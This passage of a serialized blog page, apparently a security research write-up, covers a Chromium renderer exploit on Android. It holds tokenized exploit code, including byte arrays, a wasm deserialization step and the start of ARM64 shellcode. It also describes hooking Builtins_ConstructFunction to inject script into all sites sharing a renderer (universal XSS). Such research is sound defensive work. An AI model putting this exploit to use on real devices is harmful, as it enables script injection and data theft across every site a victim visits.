tag":271,"props":150770,"children":150771},{"style":16187},[150772],{"type":30,"value":953},{"type":25,"tag":271,"props":150774,"children":150775},{"style":13625},[150776],{"type":30,"value":44},{"type":25,"tag":271,"props":150778,"children":150779},{"style":16187},[150780],{"type":30,"value":953},{"type":25,"tag":271,"props":150782,"children":150783},{"style":13625},[150784],{"type":30,"value":44},{"type":25,"tag":271,"props":150786,"children":150787},{"style":16187},[150788],{"type":30,"value":42535},{"type":25,"tag":271,"props":150790,"children":150791},{"style":13625},[150792],{"type":30,"value":44},{"type":25,"tag":271,"props":150794,"children":150795},{"style":16187},[150796],{"type":30,"value":953},{"type":25,"tag":271,"props":150798,"children":150799},{"style":13625},[150800],{"type":30,"value":44},{"type":25,"tag":271,"props":150802,"children":150803},{"style":16187},[150804],{"type":30,"value":953},{"type":25,"tag":271,"props":150806,"children":150807},{"style":13625},[150808],{"type":30,"value":44},{"type":25,"tag":271,"props":150810,"children":150811},{"style":16187},[150812],{"type":30,"value":953},{"type":25,"tag":271,"props":150814,"children":150815},{"style":13625},[150816],{"type":30,"value":44},{"type":25,"tag":271,"props":150818,"children":150819},{"style":16187},[150820],{"type":30,"value":953},{"type":25,"tag":271,"props":150822,"children":150823},{"style":13625},[150824],{"type":30,"value":44},{"type":25,"tag":271,"props":150826,"children":150827},{"style":16187},[150828],{"type":30,"value":953},{"type":25,"tag":271,"props":150830,"children":150831},{"style":13625},[150832],{"type":30,"value":44},{"type":25,"tag":271,"props":150834,"children":150835},{"style":16187},[150836],{"type":30,"value":953},{"type":25,"tag":271,"props":150838,"children":150839},{"style":13625},[150840],{"type":30,"value":44},{"type":25,"tag":271,"props":150842,"children":150843},{"style":16187},[150844],{"type":30,"value":953},{"type":25,"tag":271,"props":150846,"children":150847},{"style":13625},[150848],{"type":30,"value":44},{"type":25,"tag":271,"props":150850,"children":150851},{"style":16187},[150852],{"type":30,"value":953},{"type":25,"tag":271,"props":150854,"children":150855},{"style":13625},[150856],{"type":30,"value":44},{"type":25,"tag":271,"props":150858,"children":150859},{"style":16187},[150860],{"type":30,"value":953},{"type":25,"tag":271,"props":150862,"children":150863},{"style":13625},[150864],{"type":30,"value":44},{"type":25,"tag":271,"props":150866,"children":150867},{"style":16187},[150868],{"type":30,"value":953},{"type":25,"tag":271,"props":150870,"children":150871},{"style":13625},[150872],{"type":30,"value":44},{"type":25,"tag":271,"props":150874,"children":150875},{"style":16187},[150876],{"type":30,"value":953},{"type":25,"tag":271,"props":150878,"children":150879},{"style":13625},[150880],{"type":30,"value":44},{"type":25,"tag":271,"props":150882,"children":150883},{"style":16187},[150884],{"type":30,"value":953},{"type":25,"tag":271,"props":150886,"children":150887},{"style":13625},[150888],{"type":30,"value":14351},{"type":25,"tag":271,"props":150890,"children":150891},{"class":13593,"line":16486},[150892,150896,150900,150904,150908,150912,150916,150920,150924,150928,150932,150936,150940,150944,150948,150952,150956,150960,150964,150968,150972,150976,150980,150984,150988,150992,150996,151000,151004,151008,151012,151016,151020,151025,151029,151034,151038,151042,151046,151051,151055,151059,151063,151067,151071,151075,151079,151084,151088,151092,151096,151101,151105,151109],{"type":25,"tag":271,"props":150893,"children":150894},{"style":16187},[150895],{"type":30,"value":146637},{"type":25,"tag":271,"props":150897,"children":150898},{"style":13625},[150899],{"type":30,"value":44},{"type":25,"tag":271,"props":150901,"children":150902},{"style":16187},[150903],{"type":30,"value":953},{"type":25,"tag":271,"props":150905,"children":150906},{"style":13625},[150907],{"type":30,"value":44},{"type":25,"tag":271,"props":150909,"children":150910},{"style":16187},[150911],{"type":30,"value":953},{"type":25,"tag":271,"props":150913,"children":150914},{"style":13625},[150915],{"type":30,"value":44},{"type":25,"tag":271,"props":150917,"children":150918},{"style":16187},[150919],{"type":30,"value":953},{"type":25,"tag":271,"props":150921,"children":150922},{"style":13625},[150923],{"type":30,"value":44},{"type":25,"tag":271,"props":150925,"children":150926},{"style":16187},[150927],{"type":30,"value":953},{"type":25,"tag":271,"props":150929,"children":150930},{"style":13625},[150931],{"type":30,"value":44},{"type":25,"tag":271,"props":150933,"children":150934},{"style":16187},[150935],{"type":30,"value":953},{"type":25,"tag":271,"props":150937,"children":150938},{"style":13625},[150939],{"type":30,"value":44},{"type":25,"tag":271,"props":150941,"children":150942},{"style":16187},[150943],{"type":30,"value":953},{"type":25,"tag":271,"props":150945,"children":150946},{"style":13625},[150947],{"type":30,"value":44},{"type":25,"tag":271,"props":150949,"children":150950},{"style":16187},[150951],{"type":30,"value":953},{"type":25,"tag":271,"props":150953,"children":150954},{"style":13625},[150955],{"type":30,"value":44},{"type":25,"tag":271,"props":150957,"children":150958},{"style":16187},[150959],{"type":30,"value":953},{"type":25,"tag":271,"props":150961,"children":150962},{"style":13625},[150963],{"type":30,"value":44},{"type":25,"tag":271,"props":150965,"children":150966},{"style":16187},[150967],{"type":30,"value":953},{"type":25,"tag":271,"props":150969,"children":150970},{"style":13625},[150971],{"type":30,"value":44},{"type":25,"tag":271,"props":150973,"children":150974},{"style":16187},[150975],{"type":30,"value":953},{"type":25,"tag":271,"props":150977,"children":150978},{"style":13625},[150979],{"type":30,"value":44},{"type":25,"tag":271,"props":150981,"children":150982},{"style":16187},[150983],{"type":30,"value":953},{"type":25,"tag":271,"props":150985,"children":150986},{"style":13625},[150987],{"type":30,"value":44},{"type":25,"tag":271,"props":150989,"children":150990},{"style":16187},[150991],{"type":30,"value":953},{"type":25,"tag":271,"props":150993,"children":150994},{"style":13625},[150995],{"type":30,"value":44},{"type":25,"tag":271,"props":150997,"children":150998},{"style":16187},[150999],{"type":30,"value":953},{"type":25,"tag":271,"props":151001,"children":151002},{"style":13625},[151003],{"type":30,"value":44},{"type":25,"tag":271,"props":151005,"children":151006},{"style":16187},[151007],{"type":30,"value":953},{"type":25,"tag":271,"props":151009,"children":151010},{"style":13625},[151011],{"type":30,"value":44},{"type":25,"tag":271,"props":151013,"children":151014},{"style":16187},[151015],{"type":30,"value":1326},{"type":25,"tag":271,"props":151017,"children":151018},{"style":13625},[151019],{"type":30,"value":44},{"type":25,"tag":271,"props":151021,"children":151022},{"style":16187},[151023],{"type":30,"value":151024},"95",{"type":25,"tag":271,"props":151026,"children":151027},{"style":13625},[151028],{"type":30,"value":44},{"type":25,"tag":271,"props":151030,"children":151031},{"style":16187},[151032],{"type":30,"value":151033},"36",{"type":25,"tag":271,"props":151035,"children":151036},{"style":13625},[151037],{"type":30,"value":44},{"type":25,"tag":271,"props":151039,"children":151040},{"style":16187},[151041],{"type":30,"value":7711},{"type":25,"tag":271,"props":151043,"children":151044},{"style":13625},[151045],{"type":30,"value":44},{"type":25,"tag":271,"props":151047,"children":151048},{"style":16187},[151049],{"type":30,"value":151050},"213",{"type":25,"tag":271,"props":151052,"children":151053},{"style":13625},[151054],{"type":30,"value":44},{"type":25,"tag":271,"props":151056,"children":151057},{"style":16187},[151058],{"type":30,"value":53958},{"type":25,"tag":271,"props":151060,"children":151061},{"style":13625},[151062],{"type":30,"value":44},{"type":25,"tag":271,"props":151064,"children":151065},{"style":16187},[151066],{"type":30,"value":968},{"type":25,"tag":271,"props":151068,"children":151069},{"style":13625},[151070],{"type":30,"value":44},{"type":25,"tag":271,"props":151072,"children":151073},{"style":16187},[151074],{"type":30,"value":14233},{"type":25,"tag":271,"props":151076,"children":151077},{"style":13625},[151078],{"type":30,"value":44},{"type":25,"tag":271,"props":151080,"children":151081},{"style":16187},[151082],{"type":30,"value":151083},"210",{"type":25,"tag":271,"props":151085,"children":151086},{"style":13625},[151087],{"type":30,"value":44},{"type":25,"tag":271,"props":151089,"children":151090},{"style":16187},[151091],{"type":30,"value":147030},{"type":25,"tag":271,"props":151093,"children":151094},{"style":13625},[151095],{"type":30,"value":44},{"type":25,"tag":271,"props":151097,"children":151098},{"style":16187},[151099],{"type":30,"value":151100},"35",{"type":25,"tag":271,"props":151102,"children":151103},{"style":13625},[151104],{"type":30,"value":44},{"type":25,"tag":271,"props":151106,"children":151107},{"style":16187},[151108],{"type":30,"value":7711},{"type":25,"tag":271,"props":151110,"children":151111},{"style":13625},[151112],{"type":30,"value":14351},{"type":25,"tag":271,"props":151114,"children":151115},{"class":13593,"line":16495},[151116,151121,151125,151130,151134,151139,151143,151148,151152,151157,151161,151166,151170,151175,151179,151183,151187,151191,151195,151199,151203,151207,151211,151215,151219,151224,151228,151233,151237,151241,151245,151249,151253,151257,151261,151265,151269,151273,151277,151282,151286,151291],{"type":25,"tag":271,"props":151117,"children":151118},{"style":16187},[151119],{"type":30,"value":151120},"    213",{"type":25,"tag":271,"props":151122,"children":151123},{"style":13625},[151124],{"type":30,"value":44},{"type":25,"tag":271,"props":151126,"children":151127},{"style":16187},[151128],{"type":30,"value":151129},"231",{"type":25,"tag":271,"props":151131,"children":151132},{"style":13625},[151133],{"type":30,"value":44},{"type":25,"tag":271,"props":151135,"children":151136},{"style":16187},[151137],{"type":30,"value":151138},"67",{"type":25,"tag":271,"props":151140,"children":151141},{"style":13625},[151142],{"type":30,"value":44},{"type":25,"tag":271,"props":151144,"children":151145},{"style":16187},[151146],{"type":30,"value":151147},"190",{"type":25,"tag":271,"props":151149,"children":151150},{"style":13625},[151151],{"type":30,"value":44},{"type":25,"tag":271,"props":151153,"children":151154},{"style":16187},[151155],{"type":30,"value":151156},"169",{"type":25,"tag":271,"props":151158,"children":151159},{"style":13625},[151160],{"type":30,"value":44},{"type":25,"tag":271,"props":151162,"children":151163},{"style":16187},[151164],{"type":30,"value":151165},"253",{"type":25,"tag":271,"props":151167,"children":151168},{"style":13625},[151169],{"type":30,"value":44},{"type":25,"tag":271,"props":151171,"children":151172},{"style":16187},[151173],{"type":30,"value":151174},"123",{"type":25,"tag":271,"props":151176,"children":151177},{"style":13625},[151178],{"type":30,"value":44},{"type":25,"tag":271,"props":151180,"children":151181},{"style":16187},[151182],{"type":30,"value":968},{"type":25,"tag":271,"props":151184,"children":151185},{"style":13625},[151186],{"type":30,"value":44},{"type":25,"tag":271,"props":151188,"children":151189},{"style":16187},[151190],{"type":30,"value":151156},{"type":25,"tag":271,"props":151192,"children":151193},{"style":13625},[151194],{"type":30,"value":44},{"type":25,"tag":271,"props":151196,"children":151197},{"style":16187},[151198],{"type":30,"value":151165},{"type":25,"tag":271,"props":151200,"children":151201},{"style":13625},[151202],{"type":30,"value":44},{"type":25,"tag":271,"props":151204,"children":151205},{"style":16187},[151206],{"type":30,"value":151138},{"type":25,"tag":271,"props":151208,"children":151209},{"style":13625},[151210],{"type":30,"value":44},{"type":25,"tag":271,"props":151212,"children":151213},{"style":16187},[151214],{"type":30,"value":953},{"type":25,"tag":271,"props":151216,"children":151217},{"style":13625},[151218],{"type":30,"value":44},{"type":25,"tag":271,"props":151220,"children":151221},{"style":16187},[151222],{"type":30,"value":151223},"145",{"type":25,"tag":271,"props":151225,"children":151226},{"style":13625},[151227],{"type":30,"value":44},{"type":25,"tag":271,"props":151229,"children":151230},{"style":16187},[151231],{"type":30,"value":151232},"191",{"type":25,"tag":271,"props":151234,"children":151235},{"style":13625},[151236],{"type":30,"value":44},{"type":25,"tag":271,"props":151238,"children":151239},{"style":16187},[151240],{"type":30,"value":7711},{"type":25,"tag":271,"props":151242,"children":151243},{"style":13625},[151244],{"type":30,"value":44},{"type":25,"tag":271,"props":151246,"children":151247},{"style":16187},[151248],{"type":30,"value":953},{"type":25,"tag":271,"props":151250,"children":151251},{"style":13625},[151252],{"type":30,"value":44},{"type":25,"tag":271,"props":151254,"children":151255},{"style":16187},[151256],{"type":30,"value":151223},{"type":25,"tag":271,"props":151258,"children":151259},{"style":13625},[151260],{"type":30,"value":44},{"type":25,"tag":271,"props":151262,"children":151263},{"style":16187},[151264],{"type":30,"value":151165},{"type":25,"tag":271,"props":151266,"children":151267},{"style":13625},[151268],{"type":30,"value":44},{"type":25,"tag":271,"props":151270,"children":151271},{"style":16187},[151272],{"type":30,"value":151174},{"type":25,"tag":271,"props":151274,"children":151275},{"style":13625},[151276],{"type":30,"value":44},{"type":25,"tag":271,"props":151278,"children":151279},{"style":16187},[151280],{"type":30,"value":151281},"193",{"type":25,"tag":271,"props":151283,"children":151284},{"style":13625},[151285],{"type":30,"value":44},{"type":25,"tag":271,"props":151287,"children":151288},{"style":16187},[151289],{"type":30,"value":151290},"168",{"type":25,"tag":271,"props":151292,"children":151293},{"style":13625},[151294],{"type":30,"value":14351},{"type":25,"tag":271,"props":151296,"children":151297},{"class":13593,"line":16744},[151298,151303,151307,151311,151315,151319,151323,151327,151331,151335,151339,151343,151347,151351,151355,151360,151364,151368,151372,151376,151380,151384,151388,151392,151396,151400,151404,151408,151412,151416,151420,151424,151428,151432,151436,151440,151444,151448,151452,151456,151460,151464,151468,151472,151476,151480,151484,151488,151492,151496,151500,151504,151508,151512],{"type":25,"tag":271,"props":151299,"children":151300},{"style":16187},[151301],{"type":30,"value":151302},"    255",{"type":25,"tag":271,"props":151304,"children":151305},{"style":13625},[151306],{"type":30,"value":44},{"type":25,"tag":271,"props":151308,"children":151309},{"style":16187},[151310],{"type":30,"value":151100},{"type":25,"tag":271,"props":151312,"children":151313},{"style":13625},[151314],{"type":30,"value":44},{"type":25,"tag":271,"props":151316,"children":151317},{"style":16187},[151318],{"type":30,"value":7711},{"type":25,"tag":271,"props":151320,"children":151321},{"style":13625},[151322],{"type":30,"value":44},{"type":25,"tag":271,"props":151324,"children":151325},{"style":16187},[151326],{"type":30,"value":151050},{"type":25,"tag":271,"props":151328,"children":151329},{"style":13625},[151330],{"type":30,"value":44},{"type":25,"tag":271,"props":151332,"children":151333},{"style":16187},[151334],{"type":30,"value":146985},{"type":25,"tag":271,"props":151336,"children":151337},{"style":13625},[151338],{"type":30,"value":44},{"type":25,"tag":271,"props":151340,"children":151341},{"style":16187},[151342],{"type":30,"value":7711},{"type":25,"tag":271,"props":151344,"children":151345},{"style":13625},[151346],{"type":30,"value":44},{"type":25,"tag":271,"props":151348,"children":151349},{"style":16187},[151350],{"type":30,"value":151024},{"type":25,"tag":271,"props":151352,"children":151353},{"style":13625},[151354],{"type":30,"value":44},{"type":25,"tag":271,"props":151356,"children":151357},{"style":16187},[151358],{"type":30,"value":151359},"214",{"type":25,"tag":271,"props":151361,"children":151362},{"style":13625},[151363],{"type":30,"value":44},{"type":25,"tag":271,"props":151365,"children":151366},{"style":16187},[151367],{"type":30,"value":109762},{"type":25,"tag":271,"props":151369,"children":151370},{"style":13625},[151371],{"type":30,"value":44},{"type":25,"tag":271,"props":151373,"children":151374},{"style":16187},[151375],{"type":30,"value":73462},{"type":25,"tag":271,"props":151377,"children":151378},{"style":13625},[151379],{"type":30,"value":44},{"type":25,"tag":271,"props":151381,"children":151382},{"style":16187},[151383],{"type":30,"value":7711},{"type":25,"tag":271,"props":151385,"children":151386},{"style":13625},[151387],{"type":30,"value":44},{"type":25,"tag":271,"props":151389,"children":151390},{"style":16187},[151391],{"type":30,"value":151050},{"type":25,"tag":271,"props":151393,"children":151394},{"style":13625},[151395],{"type":30,"value":44},{"type":25,"tag":271,"props":151397,"children":151398},{"style":16187},[151399],{"type":30,"value":30650},{"type":25,"tag":271,"props":151401,"children":151402},{"style":13625},[151403],{"type":30,"value":44},{"type":25,"tag":271,"props":151405,"children":151406},{"style":16187},[151407],{"type":30,"value":953},{"type":25,"tag":271,"props":151409,"children":151410},{"style":13625},[151411],{"type":30,"value":44},{"type":25,"tag":271,"props":151413,"children":151414},{"style":16187},[151415],{"type":30,"value":953},{"type":25,"tag":271,"props":151417,"children":151418},{"style":13625},[151419],{"type":30,"value":44},{"type":25,"tag":271,"props":151421,"children":151422},{"style":16187},[151423],{"type":30,"value":953},{"type":25,"tag":271,"props":151425,"children":151426},{"style":13625},[151427],{"type":30,"value":44},{"type":25,"tag":271,"props":151429,"children":151430},{"style":16187},[151431],{"type":30,"value":953},{"type":25,"tag":271,"props":151433,"children":151434},{"style":13625},[151435],{"type":30,"value":44},{"type":25,"tag":271,"props":151437,"children":151438},{"style":16187},[151439],{"type":30,"value":953},{"type":25,"tag":271,"props":151441,"children":151442},{"style":13625},[151443],{"type":30,"value":44},{"type":25,"tag":271,"props":151445,"children":151446},{"style":16187},[151447],{"type":30,"value":953},{"type":25,"tag":271,"props":151449,"children":151450},{"style":13625},[151451],{"type":30,"value":44},{"type":25,"tag":271,"props":151453,"children":151454},{"style":16187},[151455],{"type":30,"value":953},{"type":25,"tag":271,"props":151457,"children":151458},{"style":13625},[151459],{"type":30,"value":44},{"type":25,"tag":271,"props":151461,"children":151462},{"style":16187},[151463],{"type":30,"value":953},{"type":25,"tag":271,"props":151465,"children":151466},{"style":13625},[151467],{"type":30,"value":44},{"type":25,"tag":271,"props":151469,"children":151470},{"style":16187},[151471],{"type":30,"value":30650},{"type":25,"tag":271,"props":151473,"children":151474},{"style":13625},[151475],{"type":30,"value":44},{"type":25,"tag":271,"props":151477,"children":151478},{"style":16187},[151479],{"type":30,"value":953},{"type":25,"tag":271,"props":151481,"children":151482},{"style":13625},[151483],{"type":30,"value":44},{"type":25,"tag":271,"props":151485,"children":151486},{"style":16187},[151487],{"type":30,"value":953},{"type":25,"tag":271,"props":151489,"children":151490},{"style":13625},[151491],{"type":30,"value":44},{"type":25,"tag":271,"props":151493,"children":151494},{"style":16187},[151495],{"type":30,"value":953},{"type":25,"tag":271,"props":151497,"children":151498},{"style":13625},[151499],{"type":30,"value":44},{"type":25,"tag":271,"props":151501,"children":151502},{"style":16187},[151503],{"type":30,"value":953},{"type":25,"tag":271,"props":151505,"children":151506},{"style":13625},[151507],{"type":30,"value":44},{"type":25,"tag":271,"props":151509,"children":151510},{"style":16187},[151511],{"type":30,"value":953},{"type":25,"tag":271,"props":151513,"children":151514},{"style":13625},[151515],{"type":30,"value":14351},{"type":25,"tag":271,"props":151517,"children":151518},{"class":13593,"line":16761},[151519,151523,151527,151531,151535,151539,151543,151547,151551,151555,151559,151564,151568,151573,151577,151582,151586,151590],{"type":25,"tag":271,"props":151520,"children":151521},{"style":16187},[151522],{"type":30,"value":146637},{"type":25,"tag":271,"props":151524,"children":151525},{"style":13625},[151526],{"type":30,"value":44},{"type":25,"tag":271,"props":151528,"children":151529},{"style":16187},[151530],{"type":30,"value":953},{"type":25,"tag":271,"props":151532,"children":151533},{"style":13625},[151534],{"type":30,"value":44},{"type":25,"tag":271,"props":151536,"children":151537},{"style":16187},[151538],{"type":30,"value":953},{"type":25,"tag":271,"props":151540,"children":151541},{"style":13625},[151542],{"type":30,"value":44},{"type":25,"tag":271,"props":151544,"children":151545},{"style":16187},[151546],{"type":30,"value":953},{"type":25,"tag":271,"props":151548,"children":151549},{"style":13625},[151550],{"type":30,"value":44},{"type":25,"tag":271,"props":151552,"children":151553},{"style":16187},[151554],{"type":30,"value":953},{"type":25,"tag":271,"props":151556,"children":151557},{"style":13625},[151558],{"type":30,"value":44},{"type":25,"tag":271,"props":151560,"children":151561},{"style":16187},[151562],{"type":30,"value":151563},"92",{"type":25,"tag":271,"props":151565,"children":151566},{"style":13625},[151567],{"type":30,"value":44},{"type":25,"tag":271,"props":151569,"children":151570},{"style":16187},[151571],{"type":30,"value":151572},"50",{"type":25,"tag":271,"props":151574,"children":151575},{"style":13625},[151576],{"type":30,"value":44},{"type":25,"tag":271,"props":151578,"children":151579},{"style":16187},[151580],{"type":30,"value":151581},"162",{"type":25,"tag":271,"props":151583,"children":151584},{"style":13625},[151585],{"type":30,"value":44},{"type":25,"tag":271,"props":151587,"children":151588},{"style":16187},[151589],{"type":30,"value":953},{"type":25,"tag":271,"props":151591,"children":151592},{"style":13625},[151593],{"type":30,"value":14351},{"type":25,"tag":271,"props":151595,"children":151596},{"class":13593,"line":16778},[151597],{"type":25,"tag":271,"props":151598,"children":151599},{"style":13625},[151600],{"type":30,"value":146924},{"type":25,"tag":271,"props":151602,"children":151603},{"class":13593,"line":16791},[151604,151608,151612,151616,151620,151624,151628,151632,151636,151640,151644],{"type":25,"tag":271,"props":151605,"children":151606},{"style":14289},[151607],{"type":30,"value":20977},{"type":25,"tag":271,"props":151609,"children":151610},{"style":13598},[151611],{"type":30,"value":148377},{"type":25,"tag":271,"props":151613,"children":151614},{"style":13603},[151615],{"type":30,"value":16155},{"type":25,"tag":271,"props":151617,"children":151618},{"style":13620},[151619],{"type":30,"value":148386},{"type":25,"tag":271,"props":151621,"children":151622},{"style":13625},[151623],{"type":30,"value":394},{"type":25,"tag":271,"props":151625,"children":151626},{"style":13598},[151627],{"type":30,"value":146255},{"type":25,"tag":271,"props":151629,"children":151630},{"style":13625},[151631],{"type":30,"value":44},{"type":25,"tag":271,"props":151633,"children":151634},{"style":13598},[151635],{"type":30,"value":137582},{"type":25,"tag":271,"props":151637,"children":151638},{"style":13625},[151639],{"type":30,"value":1860},{"type":25,"tag":271,"props":151641,"children":151642},{"style":13598},[151643],{"type":30,"value":137582},{"type":25,"tag":271,"props":151645,"children":151646},{"style":13625},[151647],{"type":30,"value":13665},{"type":25,"tag":271,"props":151649,"children":151650},{"class":13593,"line":16800},[151651,151655,151659,151663,151667,151671,151675,151679,151683,151687],{"type":25,"tag":271,"props":151652,"children":151653},{"style":13598},[151654],{"type":30,"value":148422},{"type":25,"tag":271,"props":151656,"children":151657},{"style":13603},[151658],{"type":30,"value":16155},{"type":25,"tag":271,"props":151660,"children":151661},{"style":13625},[151662],{"type":30,"value":16213},{"type":25,"tag":271,"props":151664,"children":151665},{"style":16171},[151666],{"type":30,"value":46029},{"type":25,"tag":271,"props":151668,"children":151669},{"style":13598},[151670],{"type":30,"value":148377},{"type":25,"tag":271,"props":151672,"children":151673},{"style":13625},[151674],{"type":30,"value":1860},{"type":25,"tag":271,"props":151676,"children":151677},{"style":13620},[151678],{"type":30,"value":70680},{"type":25,"tag":271,"props":151680,"children":151681},{"style":13625},[151682],{"type":30,"value":148451},{"type":25,"tag":271,"props":151684,"children":151685},{"style":13598},[151686],{"type":30,"value":52262},{"type":25,"tag":271,"props":151688,"children":151689},{"style":13625},[151690],{"type":30,"value":16165},{"type":25,"tag":271,"props":151692,"children":151693},{"class":13593,"line":16823},[151694,151698,151702,151706,151710,151715,151719,151723],{"type":25,"tag":271,"props":151695,"children":151696},{"style":13598},[151697],{"type":30,"value":115038},{"type":25,"tag":271,"props":151699,"children":151700},{"style":13625},[151701],{"type":30,"value":1860},{"type":25,"tag":271,"props":151703,"children":151704},{"style":13620},[151705],{"type":30,"value":115047},{"type":25,"tag":271,"props":151707,"children":151708},{"style":13625},[151709],{"type":30,"value":394},{"type":25,"tag":271,"props":151711,"children":151712},{"style":17388},[151713],{"type":30,"value":151714},"'DeserializeWasmModule result: '",{"type":25,"tag":271,"props":151716,"children":151717},{"style":13603},[151718],{"type":30,"value":22025},{"type":25,"tag":271,"props":151720,"children":151721},{"style":13598},[151722],{"type":30,"value":22282},{"type":25,"tag":271,"props":151724,"children":151725},{"style":13625},[151726],{"type":30,"value":13665},{"type":25,"tag":271,"props":151728,"children":151729},{"class":13593,"line":16832},[151730,151734,151738,151742,151746,151750,151754,151758,151762,151766],{"type":25,"tag":271,"props":151731,"children":151732},{"style":14289},[151733],{"type":30,"value":49300},{"type":25,"tag":271,"props":151735,"children":151736},{"style":13598},[151737],{"type":30,"value":148471},{"type":25,"tag":271,"props":151739,"children":151740},{"style":13603},[151741],{"type":30,"value":16155},{"type":25,"tag":271,"props":151743,"children":151744},{"style":14289},[151745],{"type":30,"value":45045},{"type":25,"tag":271,"props":151747,"children":151748},{"style":13598},[151749],{"type":30,"value":146238},{"type":25,"tag":271,"props":151751,"children":151752},{"style":13625},[151753],{"type":30,"value":1860},{"type":25,"tag":271,"props":151755,"children":151756},{"style":13620},[151757],{"type":30,"value":146292},{"type":25,"tag":271,"props":151759,"children":151760},{"style":13625},[151761],{"type":30,"value":394},{"type":25,"tag":271,"props":151763,"children":151764},{"style":13598},[151765],{"type":30,"value":22204},{"type":25,"tag":271,"props":151767,"children":151768},{"style":13625},[151769],{"type":30,"value":13665},{"type":25,"tag":271,"props":151771,"children":151772},{"class":13593,"line":16841},[151773,151777,151781,151785,151789,151793,151797,151801,151805],{"type":25,"tag":271,"props":151774,"children":151775},{"style":14289},[151776],{"type":30,"value":49300},{"type":25,"tag":271,"props":151778,"children":151779},{"style":13598},[151780],{"type":30,"value":46084},{"type":25,"tag":271,"props":151782,"children":151783},{"style":13603},[151784],{"type":30,"value":16155},{"type":25,"tag":271,"props":151786,"children":151787},{"style":13598},[151788],{"type":30,"value":148471},{"type":25,"tag":271,"props":151790,"children":151791},{"style":13625},[151792],{"type":30,"value":1860},{"type":25,"tag":271,"props":151794,"children":151795},{"style":13598},[151796],{"type":30,"value":50996},{"type":25,"tag":271,"props":151798,"children":151799},{"style":13625},[151800],{"type":30,"value":1860},{"type":25,"tag":271,"props":151802,"children":151803},{"style":13598},[151804],{"type":30,"value":146341},{"type":25,"tag":271,"props":151806,"children":151807},{"style":13625},[151808],{"type":30,"value":16165},{"type":25,"tag":271,"props":151810,"children":151811},{"class":13593,"line":16907},[151812,151816,151820,151824,151828,151832],{"type":25,"tag":271,"props":151813,"children":151814},{"style":13598},[151815],{"type":30,"value":115038},{"type":25,"tag":271,"props":151817,"children":151818},{"style":13625},[151819],{"type":30,"value":1860},{"type":25,"tag":271,"props":151821,"children":151822},{"style":13620},[151823],{"type":30,"value":115047},{"type":25,"tag":271,"props":151825,"children":151826},{"style":13625},[151827],{"type":30,"value":394},{"type":25,"tag":271,"props":151829,"children":151830},{"style":13598},[151831],{"type":30,"value":4503},{"type":25,"tag":271,"props":151833,"children":151834},{"style":13625},[151835],{"type":30,"value":13665},{"type":25,"tag":271,"props":151837,"children":151838},{"class":13593,"line":16915},[151839],{"type":25,"tag":271,"props":151840,"children":151841},{"style":13625},[151842],{"type":30,"value":115079},{"type":25,"tag":26,"props":151844,"children":151845},{},[151846],{"type":30,"value":151847},"And this time, it works as expected:",{"type":25,"tag":26,"props":151849,"children":151850},{},[151851],{"type":25,"tag":698,"props":151852,"children":151855},{"alt":151853,"src":151854},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":25,"tag":247,"props":151857,"children":151859},{"id":151858},"achieving-universal-xss",[151860],{"type":30,"value":151861},"Achieving Universal XSS",{"type":25,"tag":26,"props":151863,"children":151864},{},[151865,151867,151873,151875,151882],{"type":30,"value":151866},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":25,"tag":83,"props":151868,"children":151871},{"href":151869,"rel":151870},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[9066],[151872],{"type":30,"value":83446},{"type":30,"value":151874}," from Tencent Security and ",{"type":25,"tag":83,"props":151876,"children":151879},{"href":151877,"rel":151878},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[9066],[151880],{"type":30,"value":151881},"research article",{"type":30,"value":151883}," from InterruptLabs.",{"type":25,"tag":26,"props":151885,"children":151886},{},[151887,151889,151896],{"type":30,"value":151888},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":25,"tag":83,"props":151890,"children":151893},{"href":151891,"rel":151892},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[9066],[151894],{"type":30,"value":151895},"weaker version",{"type":30,"value":151897}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":25,"tag":26,"props":151899,"children":151900},{},[151901,151903,151909],{"type":30,"value":151902},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":25,"tag":264,"props":151904,"children":151906},{"className":151905},[],[151907],{"type":30,"value":151908},"Builtins_ConstructFunction",{"type":30,"value":151910},", making it a natural target.",{"type":25,"tag":26,"props":151912,"children":151913},{},[151914,151916,151921],{"type":30,"value":151915},"Our goal is for ",{"type":25,"tag":264,"props":151917,"children":151919},{"className":151918},[],[151920],{"type":30,"value":151908},{"type":30,"value":151922}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":25,"tag":108,"props":151924,"children":151925},{},[151926,151931,151941],{"type":25,"tag":112,"props":151927,"children":151928},{},[151929],{"type":30,"value":151930},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":25,"tag":112,"props":151932,"children":151933},{},[151934,151936],{"type":30,"value":151935},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":25,"tag":264,"props":151937,"children":151939},{"className":151938},[],[151940],{"type":30,"value":151908},{"type":25,"tag":112,"props":151942,"children":151943},{},[151944,151946,151951],{"type":30,"value":151945},"The mmap-ed shellcode then returns to the beginning of ",{"type":25,"tag":264,"props":151947,"children":151949},{"className":151948},[],[151950],{"type":30,"value":151908},{"type":30,"value":151952},", which now proceeds normally",{"type":25,"tag":26,"props":151954,"children":151955},{},[151956],{"type":30,"value":151957},"The ARM64 shellcode implementing this looks as follows:",{"type":25,"tag":7764,"props":151959,"children":151963},{"code":151960,"language":151961,"meta":7,"className":151962,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl 